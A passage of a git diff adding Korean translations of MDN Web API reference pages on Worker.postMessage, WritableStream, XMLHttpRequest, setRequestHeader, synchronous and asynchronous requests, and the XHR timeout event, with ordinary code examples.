Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. null is not an acceptable value for the transferList.
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

The following code snippet shows the creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (first and second) have their values changed, {{event("change")}} events invoke postMessage() to send the value of both inputs to the current worker.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+ +

For a full example, see ourBasic dedicated worker example (run dedicated worker).

+ +
+

Note: postMessage() can only send a single object at once. As seen above, if you want to pass multiple values you can send an array.

+
+ +

Transfer Example

+ +

This example shows a Firefox add-on that transfers an ArrayBuffer from the main thread to the ChromeWorker, and then the ChromeWorker transfers it back to the main thread.

+ +

Main thread code:

+ +
var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('incoming message from worker, msg:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+
+ +

Worker code

+ +
self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+
+ +

Output logged

+ +
arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2
+ +

byteLength goes to 0 as it is transferred. To see a full working example of this Firefox demo add-on see here: GitHub :: ChromeWorker - demo-transfer-arraybuffer

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Internet Explorer does not support {{domxref("Transferable")}} objects.

+ +

See also

+ + diff --git a/files/ko/web/api/writablestream/index.html b/files/ko/web/api/writablestream/index.html new file mode 100644 index 0000000000..d4496f4ad2 --- /dev/null +++ b/files/ko/web/api/writablestream/index.html @@ -0,0 +1,144 @@ +--- +title: WritableStream +slug: Web/API/WritableStream +translation_of: Web/API/WritableStream +--- +

{{SeeCompatTable}}{{APIRef("Streams")}}

+ +

Streams APIWritableStream는 지정된 곳에 스트림 데이터를 writing하기 위한 싱크 추상 인터페이스입니다. 이 객체는 내장 백프레셔와 큐잉으로 구성되어 있다.

+ +

생성자

+ +
+
{{domxref("WritableStream.WritableStream", "WritableStream()")}}
+
새 WritableStream 오브젝트를 생성한다.
+
+ +

속성

+ +
+
{{domxref("WritableStream.locked")}} {{readonlyinline}}
+
WritableStream의 locked 여부를 boolean 값으로 반환한다. 
+
+ +

메소드

+ +
+
{{domxref("WritableStream.abort()")}}
+
스트림을 중단한다. 생산자에게 더 이상 쓰기 스트림을 사용할 수 없으며 에러 상태로 전한됨을 고지한다. 큐잉되어 있던 모든 쓰기 작업은 소실된다.
+
{{domxref("WritableStream.getWriter()")}}
+
새 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하고 스트림에 락을 건다. 스트림에 락이 걸린 동안에는 해제하기 전까지 다른 writer를 요청할 수 없다.
+
+ +

예시

+ +

아래 예시는 본 인터페이스의 몇 가지 기능을 소개합니다. 커스텀 콜백과 API를 통한 queuing strategy 값을 가지고 WritableStream을 생성하는 법을 보여줍니다. 그 후 생성된 스트림과 문자열을 전달하여 sendMessage()를 합니다. 함수 내부에선 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하는 스트림의 getWriter() 메소드를 호출합니다. 문자열 조각들을 각각 스트림에 쓰기 위해 forEach() 를 사용하구요. 마지막으로 문자열 조각과 스트림 성공/실패를 처리하기 위해 write()와 close()는 Promise를 반환합니다.

+ + + +
const list = document.querySelector('ul');
+
+function sendMessage(message, writableStream) {
+  // defaultWriter is of type WritableStreamDefaultWriter
+  const defaultWriter = writableStream.getWriter();
+  const encoder = new TextEncoder();
+  const encoded = encoder.encode(message, { stream: true });
+  encoded.forEach((chunk) => {
+    defaultWriter.ready
+      .then(() => {
+        return defaultWriter.write(chunk);
+      })
+      .then(() => {
+        console.log("Chunk written to sink.");
+      })
+      .catch((err) => {
+        console.log("Chunk error:", err);
+      });
+  });
+  // Call ready again to ensure that all chunks are written
+  //   before closing the writer.
+  defaultWriter.ready
+    .then(() => {
+      defaultWriter.close();
+    })
+    .then(() => {
+      console.log("All chunks written");
+    })
+    .catch((err) => {
+      console.log("Stream error:", err);
+    });
+}
+
+const decoder = new TextDecoder("utf-8");
+const queuingStrategy = new CountQueuingStrategy({ highWaterMark: 1 });
+let result = "";
+const writableStream = new WritableStream({
+  // Implement the sink
+  write(chunk) {
+    return new Promise((resolve, reject) => {
+      var buffer = new ArrayBuffer(2);
+      var view = new Uint16Array(buffer);
+      view[0] = chunk;
+      var decoded = decoder.decode(view, { stream: true });
+      var listItem = document.createElement('li');
+      listItem.textContent = "Chunk decoded: " + decoded;
+      list.appendChild(listItem);
+      result += decoded;
+      resolve();
+    });
+  },
+  close() {
+    var listItem = document.createElement('li');
+    listItem.textContent = "[MESSAGE RECEIVED] " + result;
+    list.appendChild(listItem);
+  },
+  abort(err) {
+    console.log("Sink error:", err);
+  }
+}, queuingStrategy);
+
+sendMessage("Hello, world.", writableStream);
+ +

Simple writer example에서 전체 코드를 볼 수 있습니다.

+ +

백프레셔(배압)

+ +

API 내부에서 백프레셔가 어떻게 구현되어 있는지에 따라 코드가 보기에 영 깔끔하지 않을 수 있습니다. 세 가지 관점에서 백프레셔가 어떻게 구현되어 있는지 알아봅시다.

+ + + +

스펙

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#ws-class','WritableStream')}}{{Spec2('Streams')}}최초 정의.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.WritableStream")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/xmlhttprequest/index.html b/files/ko/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..43437969b0 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/index.html @@ -0,0 +1,194 @@ +--- +title: XMLHttpRequest +slug: Web/API/XMLHttpRequest +tags: + - AJAX + - API + - HTTP + - XHR + - XMLHttpRequest + - 레퍼런스 + - 웹 + - 인터페이스 + - 통신 +translation_of: Web/API/XMLHttpRequest +--- +

{{DefaultAPISidebar("XMLHttpRequest")}}
+ XMLHttpRequest(XHR) 객체는 서버와 상호작용하기 위하여 사용됩니다. 전체 페이지의 새로고침없이도 URL 로부터 데이터를 받아올 수 있습니다. 이는 웹 페이지가 사용자가 하고 있는 것을 방해하지 않으면서 페이지의 일부를 업데이트할 수 있도록 해줍니다. XMLHttpRequest 는 {{Glossary("AJAX")}} 프로그래밍에 주로 사용됩니다.

+ +

{{InheritanceDiagram(650, 150)}}

+ +

XMLHttpRequest 는 이름으로만 봐서는 XML 만 받아올 수 있을 것 같아 보이지만, 모든 종류의 데이터를 받아오는데 사용할 수 있습니다. 또한 HTTP 이외의 프로토콜도 지원합니다(file 과 ftp 포함).

+ +

통신을 통해 서버로부터 이벤트나 메시지 데이터를 받아야 한다면, {{domxref("EventSource")}} 를 통한 server-sent events 사용을 고려하세요. 완전 양방향 통신을 해야 한다면 웹 소켓이 더 나은 선택일 수 있습니다.

+ +

생성자

+ +
+
{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}
+
생성자는 XMLHttpRequest 를 초기화합니다. 다른 모든 메소드 호출이전에 호출되어야 합니다.
+
+ +

속성

+ +

이 인터페이스는 {{domxref("XMLHttpRequestEventTarget")}} 과 {{domxref("EventTarget")}} 의 속성도 상속합니다.

+ +
+
{{domxref("XMLHttpRequest.onreadystatechange")}}
+
readyState 어트리뷰트가 변경될때마다 호출되는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}
+
요청의 상태를 unsigned short 로 반환합니다.
+
{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}
+
응답 엔티티 바디를 갖는하는 {{domxref("XMLHttpRequest.responseType")}} 의 값에 따라 {{jsxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript 객체, 또는 {{domxref("DOMString")}} 을 반환합니다.
+
{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}
+
요청에 대한 응답을 텍스트로 갖는 {{domxref("DOMString")}} 을 반환합니다. 요청이 성공하지 못했거나 아직 전송되지 않았을 경우 null 을 반환합니다.
+
{{domxref("XMLHttpRequest.responseType")}}
+
응답 타입을 정의하는 열거형 값입니다.
+
{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}
+
응답의 연속된 URL 을 반환합니다. URL 이 null 인 경우 빈 문자열을 반환합니다.
+
{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}
+
요청에 대한 응답을 갖는 {{domxref("Document")}} 를 반환합니다. 요청이 성공하지 못했거나, 아직 전송되지 않았거나, XML 또는 HTML 로 파싱할 수 없는 경우 null 을 반환합니다. workers 에서는 사용이 불가합니다.
+
{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}
+
요청의 응답 상태를 갖는 unsigned short 를 반환합니다.
+
{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}
+
HTTP 서버에 의해 반환된 응답 문자열을 갖는 {{domxref("DOMString")}} 을 반환합니다. {{domxref("XMLHTTPRequest.status")}} 와는 다르게, 응답 메시지의 전체 텍스트를 갖습니다(예, "200 OK").
+
+ +
+

노트: HTTP/2 명세(8.1.2.4 Response Pseudo-Header Fields)에 따르면, HTTP/2 는 HTTP/1.1 상태 라인에 포함된 버전이나 원인 문구를 전달하는 방법을 정의하지 않습니다.

+
+ +
+
{{domxref("XMLHttpRequest.timeout")}}
+
요청이 자동으로 종료될때까지 걸린 시간을 밀리초 단위로 나타내는 unsigned long 입니다.
+
{{domxref("XMLHttpRequestEventTarget.ontimeout")}}
+
요청 시간 초과때마다 호출되는 {{domxref("EventHandler")}} 입니다. {{gecko_minversion_inline("12.0")}}
+
{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}
+
업로드 과정을 나타내는 {{domxref("XMLHttpRequestUpload")}} 입니다.
+
{{domxref("XMLHttpRequest.withCredentials")}}
+
사이트 간 Access-Control 요청이 쿠키나 인증 헤더와 같은 자격 증명을 사용해야하는지 여부를 나타내는 {{domxref("Boolean")}} 입니다.
+
+ +

비표준 속성

+ +
+
{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}
+
{{Interface("nsIChannel")}} 입니다. 요청을 수행할 때 객체에 의해 사용된 채널입니다.
+
{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}
+
Boolean 입니다. true 일 경우, 요청이 쿠키나 인증 헤더 없이 전송됩니다.
+
{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}
+
Boolean 입니다. true 일 경우, 요청에대해 동일 출처 정책(same origin policy)이 강제되지 않습니다.
+
{{domxref("XMLHttpRequest.mozBackgroundRequest")}}
+
 Boolean 입니다. 객체가 백그라운드 서비스 요청을 나타내는지 여부를 표시합니다.
+
{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}
+
{{jsxref("ArrayBuffer")}}. 요청에 대한 응답입니다. 타입이 지정된 JavaScript 배열입니다.
+
{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}
+
This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.
+ 대신 Server-Sent Events, 웹 소켓, 또는 프로그레스 이벤트의 responseText 를 사용하시기 바랍니다.
+
+ +

이벤트 핸들러

+ +

XMLHttpRequest 인스턴스의 속성으로써 onreadystatechange 는 모든 브라우저에서 지원됩니다.

+ +

그 이후, 많은 부가적인 이벤트 핸들러가 다양한 브라우저에서 구현되었습니다(onloadonerroronprogress, 등등.). XMLHttpRequest 사용하기 글을 확인하세요.

+ +

Firefox 를 포함해, 더 최신 브라우저는 on* 속성을 핸들러 함수로 설정하는것 뿐만 아니라 표준 {{domxref("EventTarget.addEventListener", "addEventListener()")}} API 를 통해 XMLHttpRequest 이벤트 리스닝도 지원합니다.

+ +

메소드

+ +
+
{{domxref("XMLHttpRequest.abort()")}}
+
이미 전송된 요청을 중지합니다.
+
{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}
+
모든 응답 헤더를 {{Glossary("CRLF")}} 로 구분한 문자열로 반환합니다. 응답을 받지 않은 경우 null 입니다.
+
{{domxref("XMLHttpRequest.getResponseHeader()")}}
+
지정한 헤더의 텍스트를 갖는 문자열을 반환합니다. 응답을 아직 받지 못했거나 응답에 헤더가 존재하지 않을 경우 null 입니다.
+
{{domxref("XMLHttpRequest.open()")}}
+
요청을 초기화합니다. 이 메소드는 네이티브 코드로부터의 요청을 초기화하기 위해 JavaScript 코드에 의해 사용됩니다. 대신 openRequest() 를 사용하세요.
+
{{domxref("XMLHttpRequest.overrideMimeType()")}}
+
서버에의해 반환된 MIME 타입을 오버라이드합니다.
+
{{domxref("XMLHttpRequest.send()")}}
+
요청을 보냅니다. 요청이 비동기인 경우(기본값), 이 메소드는 요청이 보내진 즉시 반환합니다.
+
{{domxref("XMLHttpRequest.setRequestHeader()")}}
+
HTTP 요청 헤더의 값을 설정합니다. open() 후, send() 전에 setRequestHeader() 를 호출해야합니다.
+
+ +

비표준 메소드

+ +
+
{{domxref("XMLHttpRequest.init()")}}
+
C++ 코드에서 사용할 객체를 초기화합니다.
+
+ +
+

주의: 이 메소드는 JavaScript 에서 호출되면 안 됩니다.

+
+ +
+
{{domxref("XMLHttpRequest.openRequest()")}}
+
요청을 초기화합니다. 이 메소드는 JavaScript 코부로부터의 요청을 초기화하기위해 네이티브 코드에서 사용됩니다. 대신 open() 을 사용하세요. open() 에 대한 문서를 확인하세요.
+
{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}
+
바이너리 데이터를 보내는 send() 메소드의 다른 방식입니다.
+
+ +

Events

+ +
+
{{domxref("XMLHttpRequest/abort_event", "abort")}}
+
예를 들어 프로그램이 {{domxref("XMLHttpRequest.abort()")}}를 호출해서 요청이 중단되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/error_event", "error")}}
+
요청에 에러가 생기면 발생한다.{{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/load_event", "load")}}
+
{{domxref("XMLHttpRequest")}} 처리 과정이 성공적으로 완료되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onload", "onload")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/loadend_event", "loadend")}}
+
요청이 성공이든 ({{domxref("XMLHttpRequest/load_event", "load")}} 다음) 실패든 ({{domxref("XMLHttpRequest/abort_event", "abort")}} 또는 {{domxref("XMLHttpRequest/error_event", "error")}} 다음) 완료되면 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}
+
요청이 데이터를 받기 시작하면 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} 속성을 통해서도 가능하다.
+
{{domxref("XMLHttpRequest/progress_event", "progress")}}
+
요청이 데이터를 받는 동안 주기적으로 발생한다.
+ {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} 속성을 통해서도 가능하다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Live standard, latest version
+ +

브라우저 호환성

+ + + +

{{Compat("api.XMLHttpRequest")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/xmlhttprequest/setrequestheader/index.html b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html new file mode 100644 index 0000000000..c7c595e1f1 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html @@ -0,0 +1,55 @@ +--- +title: XMLHttpRequest.setRequestHeader() +slug: Web/API/XMLHttpRequest/setRequestHeader +translation_of: Web/API/XMLHttpRequest/setRequestHeader +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.setRequestHeader() 메소드는 HTTP요청 헤더의 값을 설정합니다. 반드시 setRequestHeader()를 open()뒤에 호출하여야 하며, 또한 send()가 호출되기 전에 호출해야 합니다. 만약 이 메소드가 같은 헤더에 대하여 여러번 호출이 되면, 그 값은 단일 요청 헤더에 병합됩니다.

+ +

만약 이것을 이용해 {{HTTPHeader("Accept")}} 헤더를 설정하지 않으면, {{domxref("XMLHttpRequest.send", "send()")}}가 호출될 때 Accept 헤더가 */*와 함께 전송됩니다.

+ +

보안상의 이유로, 어떤 헤더는 오직 사용자 에이전트에 의해서만 관리될 수 있습니다. 이 헤더는 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}와 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}를 포함합니다.

+ +
+

여러분의 필드에 대해서, 상호교차(cross-domain) 요청시 "not allowed by Access-Control-Allow-Headers in preflight response" Exception이 나타날 수 있습니다. 이런 경우, "Access-Control-Allow-Headers"를 서버 측 응답 헤더에 설정하면 됩니다.

+
+ +

구문

+ +
myReq.setRequestHeader(header, value);
+
+ +

매개변수

+ +
+
header
+
설정 될 값을 가진 헤더의 이름
+
value
+
헤더의 본문(body)에 설정될 값
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

브라우저 호환성

+ +
{{Compat("api.XMLHttpRequest.setRequestHeader")}}
+ +

더 보기

+ +

Using XMLHttpRequest

diff --git a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html new file mode 100644 index 0000000000..8c57920201 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html @@ -0,0 +1,231 @@ +--- +title: Synchronous and asynchronous requests +slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +--- +

XMLHttpRequest 는 동기적 통신과 비동기적 통신을 모두 지원합니다.  하지만, 일반적으로는 성능상의 이유로 인하여 비동기적 요청이 동기적 요청보다 우선시 되어야 합니다. 

+ +

동기 요청은 코드 실행을 차단하여 화면에 “얼어붙어” 버리고 응답하지 없는 사용자 경험을 만듭니다.

+ +

Asynchronous request

+ +

만약 XMLHttpRequest을 비동기적으로 사용한다면, 데이터가 도착했을때 콜백을 받게 될겁니다. 이렇게하면 요청이 처리되는 동안 브라우저는 여전히 정상적으로 동작 할 수 있습니다.

+ +

Example: send a file to the console log

+ +

다음은 비동기적 XMLHttpRequest의 간단한 사용법입니다. 

+ +
var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); 
+ +

두번째 줄에서 세번째 파라미터가 true 로 지정되면 요청이 비동기적으로 처리 된다는 선언입니다.

+ +

Line 3 creates an event handler function object and assigns it to the request's onload attribute. This handler looks at the request's readyState to see if the transaction is complete in line 4 and if it is, and the HTTP status is 200, dumps the received content. If an error occurred, an error message is displayed.

+ +

15번째 줄에서 실제 요청이 시작됩니다. 콜백 루틴은 이 요청의 상태가 변경 될 때 마다 호출됩니다.

+ +

Example: creating a standard function to read external files

+ +

In some cases, you must read many external files. This is a standard function which uses the XMLHttpRequest object asynchronously in order to switch the content of the read file to a specified listener.

+ +
function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+
+ +

Usage:

+ +
function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+
+ +

The signature of the utility function loadFile declares (i) a target URL to read (via HTTP GET), (ii) a function to execute on successful completion of the XHR operation, and (iii) an arbitrary list of additional arguments that are "passed through" the XHR object to the success callback function.

+ +

Line 1 declares a function invoked when the XHR operation completes successfully. It, in turn, invokes the callback function specified in the invocation of the loadFile function (in this case, the function showMessage) which has been assigned to a property of the XHR object (Line 11). The additional arguments (if any) supplied to the invocation of function loadFile are "applied" to the running of the callback function.

+ +

Line 5 declares a function invoked when the XHR operation fails to complete successfully.

+ +

Line 11 stores on the XHR object the success callback function is given as the second argument to loadFile.

+ +

Line 12 slices the arguments array given to the invocation of loadFile. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable xhr, passed to the success callback function xhrSuccess., and ultimately supplied to the callback function (in this case, showMessage) which is invoked by function xhrSuccess.

+ +

Line 15 specifies true for its third parameter to indicate that the request should be handled asynchronously.

+ +

Line 16 actually initiates the request.

+ +

Example: using a timeout

+ +

You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the timeout property on the XMLHttpRequest object, as shown in the code below:

+ +
function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}
+ +

Notice the addition of code to handle the "timeout" event by setting the ontimeout handler.

+ +

Usage:

+ +
function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+
+ +

Here, we're specifying a timeout of 2000 ms.

+ +
+

Note: Support for timeout was added in {{Gecko("12.0")}}.

+
+ +

Synchronous request

+ +
Note: Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.
+ +

Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.

+ +

All new XHR features such as timeout or abort aren't allowed for synchronous XHR. Doing so would invoke InvalidAccessError.

+ +

Example: HTTP synchronous request

+ +

This example demonstrates how to make a simple synchronous request.

+ +
var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+
+ +

Line 3 sends the request. The null parameter indicates that no body content is needed for the GET request.

+ +

Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.

+ +

Example: Synchronous HTTP request from a Worker

+ +

One of the few cases in which a synchronous request does not usually block execution is the use of XMLHttpRequest within a Worker.

+ +

example.html (the main page):

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+</script>
+</head>
+<body></body>
+</html>
+
+ +

myFile.txt (the target of the synchronous XMLHttpRequest invocation):

+ +
Hello World!!
+
+ +

myTask.js (the Worker):

+ +
self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+
+ +
Note: The effect, because of the use of the Worker, is however asynchronous.
+ +

It could be useful in order to interact in the background with the server or to preload some content. See Using web workers for examples and details.

+ +

Adapting Sync XHR usecases to the Beacon API

+ +

There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the window.onunload and window.onbeforeunload events. You should consider using the fetch API with keepalive flag. When fetch with keepalive isn't available, you can consider using the navigator.sendBeacon API can support these use cases typically while delivering a good UX.

+ +

The following example (from the sendBeacon docs) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+
+ +

Using the sendBeacon() method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, without delaying the unload or affecting the performance of the next navigation.

+ +

The following example shows a theoretical analytics code pattern that submits data to a server by using the sendBeacon() method.

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/xmlhttprequest/timeout/index.html b/files/ko/web/api/xmlhttprequest/timeout/index.html new file mode 100644 index 0000000000..4ecc599f9d --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/timeout/index.html @@ -0,0 +1,123 @@ +--- +title: timeout +slug: Web/API/XMLHttpRequest/timeout +translation_of: Web/API/XMLHttpRequest/timeout_event +--- +
+

timeout 이벤트는 미리 설정한 시간이 만료되어 진행이 종료되면 시작합니다.

+
+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Target objects{{domxref("XMLHttpRequest")}}
Interface{{domxref("ProgressEvent")}}
+ +

Examples

+ +
var client = new XMLHttpRequest();
+client.open("GET", "http://www.example.org/example.txt");
+client.ontimeout = function(e) {
+  console.error("Timeout!!");
+}
+client.send();
+ +

Inheritance

+ +

timeout 이벤트는 {{domxref("Event")}}에서 상속받은 {{domxref("ProgressEvent")}} 인터페이스를 구현합니다. 이 인터페이스에 선언된 속성(property)과 메서드를 사용할 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

